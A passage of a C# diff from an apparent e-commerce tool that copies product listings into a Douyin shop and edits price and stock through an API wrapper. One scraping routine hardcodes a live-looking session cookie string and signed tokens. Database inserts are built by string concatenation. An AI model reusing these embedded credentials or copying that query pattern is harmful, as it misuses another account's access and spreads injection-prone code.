p.ViGoodsName + "," + p.ViPrice + "," + p.ViPriceMaxMin; + + content = JsonHelper.SerializeObject(p); + string sql = "insert into Product(content,fromid) values('" + SqliteHelper.ReplaceSqlx(content) + "','" + p.guid + "')"; + batchString.Add(sql); + } + + public static List formIdlist = new List(); + /// + /// 加载缓存 + /// + public void LoadStock() + { + SqliteHelper.CreateProductTable(); + formIdlist.Clear(); + DataTable dt = SqliteHelper.ExecuteTable("select fromid,content from Product"); + for (int i = 0; dt != null && i < dt.Rows.Count; i++) + { + try + { + string s = dt.Rows[i]["content"].ToString(); + formIdlist.Add(dt.Rows[i]["fromid"].ToString()); + + TaobaoProductBase t = JsonHelper.DeserializeJsonToObject(s); + if (t != null && t.FromId != 0) + { + UploadProductBLL.ProductStock.Add(t); + ReMain(); + } + } + catch + { + } + + try + { + string s = dt.Rows[i]["content"].ToString(); + formIdlist.Add(dt.Rows[i]["fromid"].ToString()); + if (string.IsNullOrEmpty(s) || !s.Contains(",")) + continue; + string[] ll = s.Split(','); + if (ll.Length != 13 && ll.Length != 15 && ll.Length != 19) + continue; + + TaobaoProductBase t = new TaobaoProductBase(); + if (string.IsNullOrEmpty(ll[0])) + continue; + t.FromId = long.Parse(ll[0]); + t.FromType = ll[1]; + t.Titlte = ll[2].Replace("\",\"", ""); + t.Cat1 = int.Parse(ll[3]); + t.Cat2 = int.Parse(ll[4]); + t.Cat3 = int.Parse(ll[5]); + t.Cat4 = int.Parse(ll[6]); + t.CatId = int.Parse(ll[7]); + t.MainCatId = int.Parse(ll[8]); + t.MainCatName = ll[9]; + t.MainImage = int.Parse(ll[10]); + t.Price = decimal.Parse(ll[11]); + t.SaleCount = int.Parse(ll[12]); + t.guid = dt.Rows[i]["fromid"].ToString(); + if (ll.Length == 15 || ll.Length == 19) + { + t.ShopName = ll[13]; + t.AddPrice = int.Parse(ll[14]); + } + if (ll.Length > 15) + { + long.TryParse(ll[15], out t.ViGoodsId); + t.ViGoodsName = ll[16]; + t.ViPrice = ll[17]; + t.ViPriceMaxMin = ll[18]; + string[] strPrice = t.ViPriceMaxMin.Split(':'); + if (strPrice.Length == 3) + { + t.ViPriceMin = (int)(decimal.Parse(strPrice[0]) * 100); + t.ViPriceMax = (int)(decimal.Parse(strPrice[1]) * 100); + t.ViExpressPrice = (int)(decimal.Parse(strPrice[2])); + } + } + //if (t.ViGoodsName != "6") + // 临时开放转换淘宝 + //if (t.ViGoodsName != "6" && !((t.FromType == "淘宝" || t.FromType == "阿里巴巴") && string.IsNullOrEmpty(t.ViGoodsName))) + if (t.ViGoodsName != "6" && t.ViGoodsName != "1" && !((t.FromType == "淘宝" || t.FromType == "阿里巴巴" || t.FromType == "微店" || t.FromType == "京喜" || t.FromType == "抖音") && string.IsNullOrEmpty(t.ViGoodsName))) + continue; + UploadProductBLL.ProductStock.Add(t); + ReMain(); + //ProductTempStock.Add(t); + } + catch + { + } + } + } + public static List batchString = new List(); + public List DataBaseTemp = new List(); + public List batchDataBaseTemp = new List(); + public static System.Text.Encoding GetFileEncoding(string filename) + { + + using (var fs = new System.IO.FileStream(filename, System.IO.FileMode.Open, System.IO.FileAccess.Read)) + using (var br = new System.IO.BinaryReader(fs)) + { + var buffer = br.ReadBytes(2); + if (buffer[0] >= 0xEF) + { + if (buffer[0] == 0xEF && buffer[1] == 0xBB) + { + return System.Text.Encoding.UTF8; + } + + if (buffer[0] == 0xFE && buffer[1] == 0xFF) + { + return System.Text.Encoding.BigEndianUnicode; + } + + if (buffer[0] == 0xFF && buffer[1] == 0xFE) + { + return System.Text.Encoding.Unicode; + } + } + + return GetEncodingWithBomUtf8(fs, System.Text.Encoding.Default); + } + + } + private static System.Text.Encoding GetEncodingWithBomUtf8(Stream fs, Encoding defaultEncoding) + { + byte[] unicode = new byte[] { 0xFF, 0xFE, 0x41 }; + byte[] unicodeBig = new byte[] { 0xFE, 0xFF, 0x00 }; + + //带BOM + byte[] utf8 = new byte[] { 0xEF, 0xBB, 0xBF }; + var reVal = defaultEncoding; + + using (var r = new System.IO.BinaryReader(fs)) + { + byte[] ss = r.ReadBytes(4); + if (ss[0] == 0xFE && ss[1] == 0xFF && ss[2] == 0x00) + { + reVal = Encoding.BigEndianUnicode; + } + else if (ss[0] == 0xFF && ss[1] == 0xFE && ss[2] == 0x41) + { + reVal = Encoding.Unicode; + } + else + { + if (ss[0] == 0xEF && ss[1] == 0xBB && ss[2] == 0xBF) + { + reVal = Encoding.UTF8; + } + else + { + int i; + int.TryParse(fs.Length.ToString(), out i); + ss = r.ReadBytes(i); + + if (IsUtf8Bytes(ss)) + { + reVal = Encoding.UTF8; + } + } + } + + return reVal; + } + } + private static bool IsUtf8Bytes(byte[] data) + { + int charByteCounter = 1;  //计算当前正分析的字符应还有的字节数 + for (int i = 0; i < data.Length; i++) + { + var curByte = data[i]; //当前分析的字节. + if (charByteCounter == 1) + { + if (curByte >= 0x80) + { + //判断当前 + while (((curByte <<= 1) & 0x80) != 0) + { + charByteCounter++; + } + //标记位首位若为非0 则至少以2个1开始 如:110XXXXX...........1111110X  + if (charByteCounter == 1 || charByteCounter > 6) + { + return false; + } + } + } + else + { + //若是UTF-8 此时第一位必须为1 + if ((curByte & 0xC0) != 0x80) + { + return false; + } + charByteCounter--; + } + } + if (charByteCounter > 1) + { + throw new Exception("非预期的byte格式!"); + } + return true; + } + #endregion + + + + public bool isNewPage = true; + int oldCurrentPage = 0; + int newCurrentPage = 1; + int totalPage = 1; + int pageSize = 100; + private void btnPrev_Click(object sender, EventArgs e) + { + if (newCurrentPage == 1) + return; + newCurrentPage--; + RefreshGridView(null); + } + + private void btnNext_Click(object sender, EventArgs e) + { + if (totalPage == newCurrentPage) + return; + newCurrentPage++; + RefreshGridView(null); + } + + private void btnGo_Click(object sender, EventArgs e) + { + int.TryParse(txtGoPage.Text, out newCurrentPage); + RefreshGridView(null); + } + + private void lblPage1_Click(object sender, EventArgs e) + { + newCurrentPage = 1; + RefreshGridView(null); + } + + private void lblTotalPage_Click(object sender, EventArgs e) + { + newCurrentPage = totalPage; + RefreshGridView(null); + } + + private void button3_Click_1(object sender, EventArgs e) + { + UploadProductBLL.ProductTemp.Clear(); + TaobaoProductBase t = new TaobaoProductBase(); + t.FromId = 111; + UploadProductBLL.ProductTemp.Add(t); + RefreshGridView(t); + TaobaoProductBase t2 = new TaobaoProductBase(); + t2.FromId = 222; + UploadProductBLL.ProductTemp.Add(t2); + RefreshGridView(t); + TaobaoProductBase t3 = new TaobaoProductBase(); + t3.FromId = 333; + UploadProductBLL.ProductTemp.Add(t3); + RefreshGridView(t); + TaobaoProductBase t4 = new TaobaoProductBase(); + t4.FromId = 444; + UploadProductBLL.ProductTemp.Add(t4); + RefreshGridView(t); + TaobaoProductBase t5 = new TaobaoProductBase(); + t5.FromId = 555; + UploadProductBLL.ProductTemp.Add(t5); + RefreshGridView(t); + TaobaoProductBase t6 = new TaobaoProductBase(); + t6.FromId = 666; + UploadProductBLL.ProductTemp.Add(t6); + RefreshGridView(t); + } + + private void AutoRefcheckBox_CheckedChanged(object sender, EventArgs e) + { + if (AutoRefcheckBox.Checked && !isNewPage) + isNewPage = true; + if (!AutoRefcheckBox.Checked) + isNewPage = false; + if (AutoRefcheckBox.Checked && dgvProduct.Rows.Count > 0) + { + if (dgvProduct.CurrentCell.RowIndex >= dgvProduct.Rows.Count - 1)//若当前值不小于行号,则不执行后面代码 + { + return; + } + dgvProduct.CurrentCell = dgvProduct.Rows[dgvProduct.Rows.Count - 1].Cells[0]; + } + } + + private void button4_Click(object sender, EventArgs e) + { + if (BaseMsgForm.ShowConfirm("是否清除全部列表数据", "提示").DialogResult == DialogResult.OK) + { + dgvProduct.Rows.Clear(); + UploadProductBLL.ProductTemp.Clear(); + } + if (BaseMsgForm.ShowConfirm("是否清除全部备用上货数据", "提示").DialogResult == DialogResult.OK) + { + UploadProductBLL.ProductStock.Clear(); + UploadProductBLL.Delete(""); + ReMain(); + } + } + + private void beforPricetextBox_TextChanged(object sender, EventArgs e) + { + if (!string.IsNullOrEmpty(beforPricetextBox.Text)) + UploadProductBLL.beforPrice = decimal.Parse(beforPricetextBox.Text); + } + + private void chkStockLessThan_CheckedChanged(object sender, EventArgs e) + { + UploadProductBLL.isStockLessThan = chkStockLessThan.Checked; + } + + private void txtStockLessThanCount_TextChanged(object sender, EventArgs e) + { + if (!string.IsNullOrEmpty(txtStockLessThanCount.Text)) + UploadProductBLL.StockLessThanCount = decimal.Parse(txtStockLessThanCount.Text); + } + + private void littleSkuCheckBox_CheckedChanged(object sender, EventArgs e) + { + UploadProductBLL.isLitterSku = littleSkuCheckBox.Checked; + } + + private void txtSingleUpload_TextChanged(object sender, EventArgs e) + { + UploadProductBLL.MaxSingleShopUploadCount = int.Parse(txtSingleUpload.Text); + } + + private void button6_Click(object sender, EventArgs e) + { + GetBrandList(); + } + /// + /// 获取商品详情 + /// + public long GetBrandList() + { + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccount == "开箱小店"); + DouyinApi api = new DouyinApi(shop); + api.JsonData = new Dictionary(); + api.JsonData.Add("product_id", "3522394014194236398"); + api.JsonData.Add("show_draft", "false"); + string html = api.GetProductDetail(); + + GoodDetail good = null; + try + { + good = JsonConvert.DeserializeObject(html); + } + catch (Exception ex) + { + } + + int a = 0; + + var p = good.data; + Dictionary dictionary = new Dictionary(); + + + dictionary.Add("product_id", p.product_id.ToString()); + dictionary.Add("product_type", "0"); + int catid = 0; + var cat = p.category_detail; + if (cat.second_cid > 0) + catid = cat.second_cid; + if (cat.third_cid > 0) + catid = cat.third_cid; + if (cat.fourth_cid > 0) + catid = cat.fourth_cid; + dictionary.Add("category_leaf_id", catid.ToString()); + dictionary.Add("first_cid", p.first_cid.ToString()); + dictionary.Add("second_cid", p.second_cid.ToString()); + dictionary.Add("third_cid", p.third_cid.ToString()); + + string prop = p.product_format; + string propStr = ""; + //货号 | 8888 ^ 上市年份季节 | 2018年秋季 + var m = BaseRegex.GetMatchRegex(ref prop, @"""[\w\W]+?"":""[\w\W]+?"""); + for (int i = 0; m != null && i < m.Count; i++) + { + string item = m[i].Groups[0].Value.Replace(":", "|"); + propStr += item + "^"; + } + propStr = propStr.Replace("\"", ""); + dictionary.Add("product_format", propStr); + dictionary.Add("name", p.name); + dictionary.Add("recommend_remark", p.recommend_remark); + + var picStr = p.pic; + var pic = ""; + for (int i = 0; i < picStr.Count; i++) + { + if (pic.Trim() != "") + { + pic += "|"; + } + pic += picStr[i]; + } + dictionary.Add("pic", pic); + + + var description = p.description; + string contentImage = ""; + m = BaseRegex.GetMatchRegex(ref description, @"]*?src=[""'](.*?)[""']"); + if (m.Count == 0) + m = BaseRegex.GetMatchRegex(ref description, @"]*?>(.*?)"); + if (m.Count == 0) + m = BaseRegex.GetMatchRegex(ref description, @"]+?>(.*?)"); + for (int j = 0; j < m.Count; j++) + { + string urlImg = m[j].Groups[1].Value.Replace(".src", ""); + if (contentImage.Trim() != "") + { + contentImage += "|"; + } + if (!string.IsNullOrEmpty(urlImg)) + { + urlImg = m[j].Groups[1].Value.Replace(".src", ""); + } + contentImage += urlImg; + } + //商品描述,目前只支持图片。多张图片用 "|" 分开 + dictionary.Add("description", contentImage); + dictionary.Add("pay_type", p.pay_type.ToString()); + + dictionary.Add("market_price", p.market_price.ToString()); + dictionary.Add("discount_price", p.discount_price.ToString()); + //dictionary.Add("reduce_type", p.reduce_type.ToString()); + //dictionary.Add("assoc_ids", p.assoc_ids.ToString()); + //dictionary.Add("freight_id", p.freight_id.ToString()); + //dictionary.Add("weight", p.weight.ToString()); + //dictionary.Add("weight_unit", p.weight_unit.ToString()); + dictionary.Add("delivery_delay_day", "2"); + dictionary.Add("presell_type", p.presell_type.ToString()); + //dictionary.Add("presell_delay", p.presell_delay.ToString()); + //dictionary.Add("presell_end_time", p.presell_end_time.ToString()); + //dictionary.Add("supply_7day_return", p.supply_7day_return.ToString()); + + dictionary.Add("mobile", p.mobile.ToString()); + dictionary.Add("commit", "true"); + //dictionary.Add("brand_id", p.brand_id.ToString()); + //dictionary.Add("remark", p.remark.ToString()); + //dictionary.Add("quality_report", p.quality_report.ToString()); + //dictionary.Add("class_quality", p.class_quality.ToString()); + //dictionary.Add("class_quality", p.class_quality.ToString()); + //dictionary.Add("quality_list", p.quality_list.ToString()); + dictionary.Add("out_product_id", p.out_product_id.ToString()); + //dictionary.Add("spec_name", p.class_quality.ToString()); + + var specs = p.specs; + string specsStr = ""; + for (int i = 0; i < specs.Count; i++) + { + var item = specs[i]; + string specitem = item.name + "|"; + for (int j = 0; j < item.values.Count; j++) + { + specitem += item.values[j].name + ","; + } + specsStr += specitem.Substring(0, specitem.Length - 1); + if (!string.IsNullOrEmpty(specsStr)) + { + specsStr += "^"; + } + } + + + + dictionary.Add("specs", specsStr); + var specPic = p.spec_pics; + string specPicStr = ""; + for (int i = 0; i < specPic.Count; i++) + { + if (specPicStr.Trim() != "") + { + specPicStr += ","; + } + specPicStr += specPic[i].pic; + } + + + dictionary.Add("spec_pic", specsStr); + + var dic = GetSpecDic(p.specs); + var specsx = p.spec_prices; + + string specStr = ""; + StringBuilder stringBuilder = new StringBuilder(); + for (int i = 0; i < specsx.Count; i++) + { + var specItem = specsx[i]; + IDictionary dictionary2 = new Dictionary(); + var id1 = specItem.spec_detail_id1; + var id2 = specItem.spec_detail_id2; + var id3 = specItem.spec_detail_id3; + + string name1 = ""; + if (id1 > 0 && dic.ContainsKey(id1)) + name1 = dic[id1]; + string name2 = ""; + if (id2 > 0 && dic.ContainsKey(id2)) + name2 = dic[id2]; + string name3 = ""; + if (id3 > 0 && dic.ContainsKey(id3)) + name3 = dic[id3]; + dictionary2.Add("spec_detail_name1", name1); + dictionary2.Add("spec_detail_name2", name2); + dictionary2.Add("spec_detail_name3", name3); + dictionary2.Add("stock_num", specItem.stock_num.ToString()); + dictionary2.Add("price", specItem.price.ToString()); + dictionary2.Add("code", specItem.code); + dictionary2.Add("step_stock_num", "0"); + foreach (string current in dictionary2.Keys) + { + if (current.ToString().Trim() == "stock_num" || current.ToString().Trim() == "price" || current.ToString().Trim() == "step_stock_num") + { + stringBuilder.AppendFormat((stringBuilder.Length > 0) ? ",\\\"{0}\\\":{1}" : "\\\"{0}\\\":{1}", current, dictionary2[current].ToString().Replace(" ", "")); + } + else + { + stringBuilder.AppendFormat((stringBuilder.Length > 0) ? ",\\\"{0}\\\":\\\"{1}\\\"" : "\\\"{0}\\\":\\\"{1}\\\"", current, dictionary2[current].ToString().Replace(" ", "")); + } + } + string str = "{" + stringBuilder.ToString() + "}"; + if (specStr.Trim() != "") + { + specStr += ","; + } + specStr += str; + } + specStr = "[" + specStr + "]"; + //sku详情 + dictionary.Add("spec_prices", specStr); + + dictionary.Add("maximum_per_order", p.maximum_per_order.ToString()); + dictionary.Add("limit_per_buyer", p.limit_per_buyer.ToString()); + dictionary.Add("minimum_per_order", p.minimum_per_order.ToString()); + + DouyinApi apix = new DouyinApi(shop); + apix.JsonData = dictionary; + html = apix.GetProductEdit(); + long product_id = BaseRegex.GetLongJson(ref html, "product_id"); //DouyinApi api = new DouyinApi(shop); + return 0; + } + public Dictionary GetSpecDic(List specs) + { + Dictionary specDic = new Dictionary(); + for (int j = 0; j < specs.Count; j++) + { + var item = specs[j]; + for (int k = 0; k < item.values.Count; k++) + { + var s = item.values[k]; + specDic.Add(s.id, s.name); + } + } + return specDic; + } + //修改库存 + private void button7_Click(object sender, EventArgs e) + { + var shop = GlobalConfig.DouShopLoginList[0]; + DouyinApi api = new DouyinApi(shop); + api.JsonData = new Dictionary(); + api.JsonData.Add("product_id", "3492731930347180135"); + api.JsonData.Add("show_draft", "false"); + string html = api.GetProductDetail(); + GoodDetail good = null; + try + { + good = JsonConvert.DeserializeObject(html); + } + catch (Exception ex) + { + } + var p = good.data; + Dictionary dictionary = new Dictionary(); + + var specsx = p.spec_prices; + string skuid = ""; + for (int i = 0; i < specsx.Count; i++) + { + var specItem = specsx[i]; + skuid = specItem.sku_id.ToString(); + } + + + + dictionary.Add("sku_id", skuid.ToString()); + dictionary.Add("stock_num", "100"); + DouyinApi apix = new DouyinApi(shop); + apix.JsonData = dictionary; + html = apix.GetEditStock(); + } + //修改价格 + private void button8_Click(object sender, EventArgs e) + { + var shop = GlobalConfig.DouShopLoginList[0]; + DouyinApi api = new DouyinApi(shop); + api.JsonData = new Dictionary(); + api.JsonData.Add("product_id", "3492731930347180135"); + api.JsonData.Add("show_draft", "false"); + string html = api.GetProductDetail(); + GoodDetail good = null; + try + { + good = JsonConvert.DeserializeObject(html); + } + catch (Exception ex) + { + } + var p = good.data; + Dictionary dictionary = new Dictionary(); + + var specsx = p.spec_prices; + string skuid = ""; + for (int i = 0; i < specsx.Count; i++) + { + var specItem = specsx[i]; + skuid = specItem.sku_id.ToString(); + } + + + + dictionary.Add("sku_id", skuid.ToString()); + dictionary.Add("price", "30000"); + DouyinApi apix = new DouyinApi(shop); + apix.JsonData = dictionary; + html = apix.GetEditPrice(); + } + + private void waitButton_Click(object sender, EventArgs e) + { + if (waitButton.Text == "暂停") + { + waitButton.Text = "继续"; + UploadProductBLL.isWaiting = true; + } + else + { + waitButton.Text = "暂停"; + UploadProductBLL.isWaiting = false; + } + } + + private void buttonEx2_Click(object sender, EventArgs e) + { + //ChatForm frm = new ChatForm(); + //frm.Show(); + } + + public List levellst = new List(); + public List levellst1 = new List(); + public List levellst2 = new List(); + public List levellst3 = new List(); + public List levellst4 = new List(); + public void GetCat() + { + levellst.Clear(); + + string url = "https://fxg.jinritemai.com/product/tproduct/categoryOptionsN?cid=0&appid=1&__token=57ae746dad0cd8c610061da3542bdca8&_lid=185395514703&_signature=_02B4Z6wo00901BWAKpgAAIDDpXHGUFOei0gVhC4AAGVdRDUVkGu0m2x2ZmO7k20IVvpSoGVVeqaYlfIyO5UnExFgL-vcYloVLZPcQAdaoEzdEN.gW97C2FBkXmV4VaxIK566gX6w5Dmb-H1A1d"; + string refere = "https://fxg.jinritemai.com/ffa/g/create"; + string data = ""; + string cookies = "ttcid=e377739c28ce4d18874fa6254b5aae0725; ttwid=1%7CQ2FXDv1XIHPVZa_hjjk6pZMPJKpmh59Y9QK9SmHGygE%7C1609827277%7Ccc7fa8c19ff0f500121b04ca16db39ede90af210620896d14c5ef778f70417ec; passport_csrf_token=e8c9361338d419e123eb9ca6f3cf47d5; passport_csrf_token_default=e8c9361338d419e123eb9ca6f3cf47d5; d_ticket=fd4f4a000273570e1b0a578f3c4b63e9c94fb; source=seo.baidu.001; Hm_lvt_b6520b076191ab4b36812da4c90f7a5e=1614154781; s_v_web_id=verify_klj62wum_mq6ot7Pj_Vd9w_4sZh_85CG_HCdNJeZbV830; SLARDAR_WEB_ID=unLoggedUser; PHPSESSID=bc522a983651ee361db01bef9a77f850; PHPSESSID_SS=bc522a983651ee361db01bef9a77f850; gfpart_1.0.0.3872_38475=0; MONITOR_WEB_ID=4e9f2d73-635d-4692-a761-1429b1436273; gftoken=MWNmNWVjNDllN3wxNjE0MTU0OTE1Mzl8fDAGBgYGBgY; gfpart_1.0.0.82_38574=0; Hm_lpvt_b6520b076191ab4b36812da4c90f7a5e=1614155399; tt_scid=kuImDaeMQkJDlV7RNBzK-cV.aUezLmPA8bf8-e4wjzbBldoQ3mxldypTfyI-r3KK6d9c; odin_tt=9848cda8c40345c38f0e4126ebee82067582ed5810871563287be65b4b5ada777abe060cbea27f6d6bac7de933729a8465d14ae31f9e01d0471d4a4e7918c9ca; n_mh=7-_t6pVZ0Rq_6lA_MFK-D1JitiJQbXT5uC_H35vCdp0; passport_auth_status=5e7c0775b54c286c732d68d07d44907c%2C; passport_auth_status_ss=5e7c0775b54c286c732d68d07d44907c%2C; sid_guard=f5734358799652f2f6d5ad4cf1a06620%7C1614156254%7C5184000%7CSun%2C+25-Apr-2021+08%3A44%3A14+GMT; uid_tt=63b8bfad66b71960e189a182fe122306; uid_tt_ss=63b8bfad66b71960e189a182fe122306; sid_tt=f5734358799652f2f6d5ad4cf1a06620; sessionid=f5734358799652f2f6d5ad4cf1a06620; sessionid_ss=f5734358799652f2f6d5ad4cf1a06620"; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, cookies); + CategoryResult categoryResult = Newtonsoft.Json.JsonConvert.DeserializeObject(html); + for (int i = 0; i < categoryResult.data.Count; i++) + { + var fxgCatBase = categoryResult.data[i]; + FxgCatLevel level = new FxgCatLevel(); + level.id = fxgCatBase.id; + level.name = fxgCatBase.name; + level.cat1id = fxgCatBase.id; + level.cat1name = fxgCatBase.name; + level.level = fxgCatBase.level; + level.is_leaf = fxgCatBase.is_leaf; + levellst1.Add(level); + levellst.Add(level); + } + for (int i = 0; i < levellst1.Count; i++) + { + int cid = levellst1[i].id; + url = "https://fxg.jinritemai.com/product/tproduct/categoryOptionsN?cid=" + cid + "&appid=1&__token=57ae746dad0cd8c610061da3542bdca8&_lid=185395514703&_signature=_02B4Z6wo00901BWAKpgAAIDDpXHGUFOei0gVhC4AAGVdRDUVkGu0m2x2ZmO7k20IVvpSoGVVeqaYlfIyO5UnExFgL-vcYloVLZPcQAdaoEzdEN.gW97C2FBkXmV4VaxIK566gX6w5Dmb-H1A1d"; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, cookies); + CategoryResult categoryResult2 = Newtonsoft.Json.JsonConvert.DeserializeObject(html); + for (int j = 0; j < categoryResult2.data.Count; j++) + { + var fxgCatBase = categoryResult2.data[j]; + FxgCatLevel level = new FxgCatLevel(); + level.id = fxgCatBase.id; + level.name = fxgCatBase.name; + level.cat1id = levellst1[i].id; + level.cat1name = levellst1[i].name; + level.cat2id = fxgCatBase.id; + level.cat2name = fxgCatBase.name; + level.level = fxgCatBase.level; + level.is_leaf = fxgCatBase.is_leaf; + levellst2.Add(level); + levellst.Add(level); + } + Thread.Sleep(2000); + } + for (int i = 0; i < levellst2.Count; i++) + { + int cid = levellst2[i].id; + url = "https://fxg.jinritemai.com/product/tproduct/categoryOptionsN?cid=" + cid + "&appid=1&__token=57ae746dad0cd8c610061da3542bdca8&_lid=185395514703&_signature=_02B4Z6wo00901BWAKpgAAIDDpXHGUFOei0gVhC4AAGVdRDUVkGu0m2x2ZmO7k20IVvpSoGVVeqaYlfIyO5UnExFgL-vcYloVLZPcQAdaoEzdEN.gW97C2FBkXmV4VaxIK566gX6w5Dmb-H1A1d"; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, cookies); + CategoryResult categoryResult3 = Newtonsoft.Json.JsonConvert.DeserializeObject(html); + for (int j = 0; j < categoryResult3.data.Count; j++) + { + var fxgCatBase = categoryResult3.data[j]; + FxgCatLevel level = new FxgCatLevel(); + level.id = fxgCatBase.id; + level.name = fxgCatBase.name; + level.cat1id = levellst2[i].cat1id; + level.cat1name = levellst2[i].cat1name; + level.cat2id = levellst2[i].cat2id; + level.cat2name = levellst2[i].cat2name; + level.cat3id = fxgCatBase.id; + level.cat3name = fxgCatBase.name; + level.level = fxgCatBase.level; + level.is_leaf = fxgCatBase.is_leaf; + levellst3.Add(level); + levellst.Add(level); + } + Thread.Sleep(2000); + } + for (int i = 0; i < levellst3.Count; i++) + { + int cid = levellst3[i].id; + url = "https://fxg.jinritemai.com/product/tproduct/categoryOptionsN?cid=" + cid + "&appid=1&__token=57ae746dad0cd8c610061da3542bdca8&_lid=185395514703&_signature=_02B4Z6wo00901BWAKpgAAIDDpXHGUFOei0gVhC4AAGVdRDUVkGu0m2x2ZmO7k20IVvpSoGVVeqaYlfIyO5UnExFgL-vcYloVLZPcQAdaoEzdEN.gW97C2FBkXmV4VaxIK566gX6w5Dmb-H1A1d"; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, cookies); + if (html.Contains("\"total\":0")) + continue; + CategoryResult categoryResult4 = Newtonsoft.Json.JsonConvert.DeserializeObject(html); + for (int j = 0; j < categoryResult4.data.Count; j++) + { + var fxgCatBase = categoryResult4.data[j]; + FxgCatLevel level = new FxgCatLevel(); + level.id = fxgCatBase.id; + level.name = fxgCatBase.name; + level.cat1id = levellst3[i].cat1id; + level.cat1name = levellst3[i].cat1name; + level.cat2id = levellst3[i].cat2id; + level.cat2name = levellst3[i].cat2name; + level.cat3id = levellst3[i].cat3id; + level.cat3name = levellst3[i].cat3name; + level.cat4id = fxgCatBase.id; + level.cat4name = fxgCatBase.name; + level.level = fxgCatBase.level; + level.is_leaf = fxgCatBase.is_leaf; + levellst3.Add(level); + levellst.Add(level); + } + Thread.Sleep(2000); + } + var jsonBody = Newtonsoft.Json.JsonConvert.SerializeObject(levellst); + //var jlst = Newtonsoft.Json.JsonConvert.DeserializeObject>(jsonBody); + FileBase.WriteAllText("temp/cat.txt", jsonBody); + + } + + private void txtPhone_TextChanged(object sender, EventArgs e) + { + } + + private void btnGetUpId_Click(object sender, EventArgs e) + { + long product_id = 0; + long.TryParse(txtUpProduct.Text, out product_id); + if (product_id > 0) + { + string urlx = BaseClass.LoginApiUrl + "?obj=upshopid/upid_dd&act=get"; + string datax = "&pid=" + product_id + "&table=" + (product_id % 1024); + string htmlx = GetHtml.PostUtf8(urlx, UserLogin.GetSignaturex("", "") + datax); + string id = BaseRegex.GetMatchRegexString(htmlx, @"([\d]+)"); + string url = ""; + if (htmlx.Contains("tb")) + url = "https://item.taobao.com/item.htm?id=" + id; + if (htmlx.Contains("pdd")) + url = "https://mobile.yangkeduo.com/goods.html?goods_id=" + id; + if (htmlx.Contains("al")) + url = "https://detail.1688.com/offer/" + id + ".html"; + if (htmlx.Contains("dy")) + url = "https://weidian.com/item.html?itemID=" + id; + GetHtml.OpenUrl(url); + } + } + + private void shopthreadCountTextBox_SelectedIndexChanged(object sender, EventArgs e) + { + UploadProductBLL.ShopThreadCount = int.Parse(shopthreadCountTextBox.Text); + } + + private void btnSetTitleRemove_Click(object sender, EventArgs e) + { + FilterForm frm = new FilterForm("标题去除词"); + frm.Show(); + } + + private void btnSetTitleFilter_Click(object sender, EventArgs e) + { + FilterForm frm = new FilterForm(); + frm.Show(); + } + + private void btnSetSkuFilter_Click(object sender, EventArgs e) + { + FilterForm frm = new FilterForm("属性违规词"); + frm.Show(); + } + + private void btnSetBrandFilter_Click(object sender, EventArgs e) + { + FilterForm frm = new FilterForm("品牌违规词"); + frm.Show(); + } + + private void prefixTextBox_TextChanged(object sender, EventArgs e) + { + if (!string.IsNullOrEmpty(prefixTextBox.Text)) + UploadProductBLL.PreFixTitle = prefixTextBox.Text.Trim(); + else + UploadProductBLL.PreFixTitle = ""; + } + + private void comboBox1_SelectedIndexChanged(object sender, EventArgs e) + { + UploadProductBLL.fixName = comboBox1.SelectedItem.ToString(); + } + + private void proxyCheckBox_CheckedChanged(object sender, EventArgs e) + { + if (proxyCheckBox.Checked) + { + ProxyForm frm = new ProxyForm(); + frm.Show(); + UploadProductBLL.IsUseProxyCollectUp = true; + } + else + { + UploadProductBLL.IsUseProxyCollectUp = false; + } + } + + private void buttonEx4_Click(object sender, EventArgs e) + { + if (ieForm != null && IeForm.IsShowIeForm) + { + //ieForm.cefWebBrowser3.Load("https://www.taobao.com/"); + ieForm.StartPosition = FormStartPosition.CenterScreen; + ieForm.Show(); + ieForm.Activate(); + } + } + + private void chkOnlyPostFree_CheckedChanged(object sender, EventArgs e) + { + UploadProductBLL.JustFree = chkOnlyPostFree.Checked; + } + + private void chklogistime_CheckedChanged(object sender, EventArgs e) + { + UploadProductBLL.isLogistics = chklogistime.Checked; + } + + private void cboHour_SelectedIndexChanged(object sender, EventArgs e) + { + UploadProductBLL.isLogistHour = Convert.ToInt32(cboHour.Text); + } + + public UploadParam uploadParam = new UploadParam(); + public class UploadParam + { + public string phone { get; set; } + public string addMultiple { get; set; } = "1.2"; + public string addMultiple2 { get; set; } = "1.3"; + public string plusOrMinus { get; set; } = "+"; + public string addPrice { get; set; } = "10"; + public string plusOrMinus2 { get; set; } = "+"; + public string addPrice2 { get; set; } = "10"; + public bool isSetCommission { get; set; } = false; + public int commissionRatio { get; set; } = 10; + public bool isRoundPrice { get; set; } = false; + public string productBrand { get; set; } + public bool isAutoSaveUploadFailedProduct { get; set; } = false; + } + + public void SaveUploadParam() + { + uploadParam.phone = txtPhone.Text; + uploadParam.addMultiple = txtMultiple.Text; + uploadParam.addMultiple2 = txtMultiple2.Text; + uploadParam.plusOrMinus = cmbPlusOrMinus.Text; + uploadParam.addPrice = txtPostage.Text; + uploadParam.plusOrMinus2 = cmbPlusOrMinus2.Text; + uploadParam.addPrice2 = txtPostage2.Text; + uploadParam.commissionRatio = txtRatio.Text.ParseToInt(); + uploadParam.isSetCommission = chkIsSetCommission.Checked; + uploadParam.isRoundPrice = chkRoundPrice.Checked; + uploadParam.productBrand = txtProductBrand.Text.Trim(); + uploadParam.isAutoSaveUploadFailedProduct = chkSaveUploadFailed.Checked; + try + { + NaiBa.Util.Helper.ConfigHelper.SaveConfig("upload_param", uploadParam); + } + catch + { + } + } + public void GetUploadParam() + { + try + { + uploadParam = NaiBa.Util.Helper.ConfigHelper.LoadConfig("upload_param"); + if (uploadParam == null) + uploadParam = new UploadParam(); + txtMultiple.Text = uploadParam.addMultiple; + txtMultiple2.Text = uploadParam.addMultiple2; + cmbPlusOrMinus.SelectedItem = uploadParam.plusOrMinus; + txtPostage.Text = uploadParam.addPrice; + cmbPlusOrMinus2.SelectedItem = uploadParam.plusOrMinus2; + txtPostage2.Text = uploadParam.addPrice2; + txtPhone.Text = uploadParam.phone; + txtRatio.Text = uploadParam.commissionRatio.ToString(); + chkIsSetCommission.Checked = uploadParam.isSetCommission; + chkRoundPrice.Checked = uploadParam.isRoundPrice; + txtProductBrand.Text = uploadParam.productBrand; + chkSaveUploadFailed.Checked = 